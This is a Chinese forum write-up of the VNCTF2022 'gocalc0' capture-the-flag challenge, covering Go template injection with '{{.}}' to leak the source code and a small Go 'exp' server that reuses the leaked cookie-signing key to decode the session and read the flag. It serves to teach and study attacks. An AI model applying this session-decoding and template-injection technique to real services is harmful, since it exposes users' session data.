首页
社区
课程
招聘
[原创][VNCTF2022]gocalc0复现
2022-4-8 10:13 11185

[原创][VNCTF2022]gocalc0复现

2022-4-8 10:13
11185

[VNCTF2022]gocalc0复现

这道题当时出了非预期,session两次base64就能getflag,但是这道题本身的考点是Golang SSTI

 

正好复盘学习一下

 

打开题目能看到经典计算器

 

 

点开flag在这里发现只有短短一行提示

 

1
flag is in your session

这里按照非预期接还是能够拿到flag

 

 

但是我们要看一下具体按照预期方法怎么能拿到flag

 

https://www.jianshu.com/p/e0ffb76ba7e9

 

这里我们通过{{.}}查看一下作用域

 

 

整理一下,就能够看到整个calc的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package main
 
import (
    _ "embed"
    "fmt"
    "os"
    "reflect"
    "strings"
    "text/template"
 
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "github.com/maja42/goval"
)
 
var tpl string
 
//go:embed main.go
var source string
 
type Eval struct {
    E string `json:"e" form:"e" binding:"required"`
}
 
func (e Eval) Result() (string, error) {
    eval := goval.NewEvaluator()
    result, err := eval.Evaluate(e.E, nil, nil)
    if err != nil {
        return "", err
    }
    t := reflect.ValueOf(result).Type().Kind()
 
    if t == reflect.Int {
        return fmt.Sprintf("%d", result.(int)), nil
    } else if t == reflect.String {
        return result.(string), nil
    } else {
        return "", fmt.Errorf("not valid type")
    }
}
 
func (e Eval) String() string {
    res, err := e.Result()
    if err != nil {
        fmt.Println(err)
        res = "invalid"
    }
    return fmt.Sprintf("%s = %s", e.E, res)
}
 
func render(c *gin.Context) {
    session := sessions.Default(c)
 
    var his string
 
    if session.Get("history") == nil {
        his = ""
    } else {
        his = session.Get("history").(string)
    }
 
    fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
    t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
    if err != nil {
        fmt.Println(err)
        c.String(500, "internal error")
        return
    }
    if err := t.Execute(c.Writer, map[string]string{
        "s0uR3e": source,
    }); err != nil {
        fmt.Println(err)
    }
}
func main() {
    port := os.Getenv("PORT")
    if port == "" {
        port = "8080"
    }
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/", func(c *gin.Context) {
        render(c)
    })
    r.GET("/flag", func(c *gin.Context) {
        session := sessions.Default(c)
        session.Set("FLAG", os.Getenv("FLAG"))
        session.Save()
        c.String(200, "flag is in your session")
    })
 
    r.POST("/", func(c *gin.Context) {
        session := sessions.Default(c)
 
        var his string
 
        if session.Get("history") == nil {
            his = ""
        } else {
            his = session.Get("history").(string)
        }
        eval := Eval{}
        if err := c.ShouldBind(&eval); err == nil {
            his = his + eval.String() + "<br/>"
        }
        session.Set("history", his)
        session.Save()
        render(c)
    })
    r.Run(fmt.Sprintf(":%s", port))
}

这里有很多东西,我们可以进行一下删减整理(对我们getflag没什么用处),提取出我们想要的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main
 
import (
    _ "embed"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "os"
)
 
func main() {
    port := os.Getenv("PORT")
    if port == "" {
        port = "8888" //这个port可以自己指定奥
    }
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/flag", func(c *gin.Context) {
        session := sessions.Default(c)
        c.String(200, session.Get("FLAG").(string))
    })
    r.Run(":8888")
}

注意下这里

1
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))

这里是创建基于cookie的存储引擎,woW_you-g0t_sourcE_co6e参数是用于加密的密钥

 

然后是这里

1
c.String(200, session.Get("FLAG").(string))

session.Get("FLAG")这里是gin框架中的读取session,而他指定了FLAG这个key(session是键值对格式数据,因此需要通过key查询数据),所以我们可以尝试本地起这个gin框架,修改一下代码,并且把题目中的session传入cookie,看看他最终会输出什么

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main
import (
    _ "embed"
    "fmt"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "os"
)
func main() {
    port := os.Getenv("PORT")
    if port == "" {
        port = "8888" //这个port可以自己指定奥
    }
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/flag", func(c *gin.Context) {
        session := sessions.Default(c)
        b := session.Get("FLAG")
        fmt.Println(b)
    })
    r.Run(":8888")
}

结果如下

 

 

成功解密出flag

 

但是这里有个问题

1
c.String(200, session.Get("FLAG").(string))

笔者在写exp的时候,对String()产生了疑惑(我的Golang水平停留在Hello world水平),如果exp这样写他会直接输出在界面上

1
2
3
4
r.GET("/flag", func(c *gin.Context) {
    session := sessions.Default(c)
    c.String(200, session.Get("FLAG").(string))
})

出于好奇,我跟进了一下

 

 

这里给了注释,我蹩脚的翻译一下

1
String()会把给定的字符串写入响应体中

跟进Render

 

1
Render() 写入响应头并调用render。并且渲染出来

这里就明了了,shit我根本不用改代码啊!!!直接让他渲染出来就好了!!

 

so,我们验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main
 
import (
    _ "embed"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "os"
)
 
func main() {
    port := os.Getenv("PORT")
    if port == "" {
        port = "8888" //这个port可以自己指定奥
    }
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/flag", func(c *gin.Context) {
        session := sessions.Default(c)
        c.String(200, session.Get("FLAG").(string))
        c.String(200, "\nThis is H3h3QAQ")
    })
    r.Run(":8888")
}

结果如下

 

又是学到了新知识的一天!


[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2022-4-24 10:31 被H3h3QAQ编辑 ,原因:
收藏
点赞3
打赏
分享
打赏 + 80.00雪花
打赏次数 1 雪花 + 80.00
 
赞赏  Editor   +80.00 2022/05/07 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回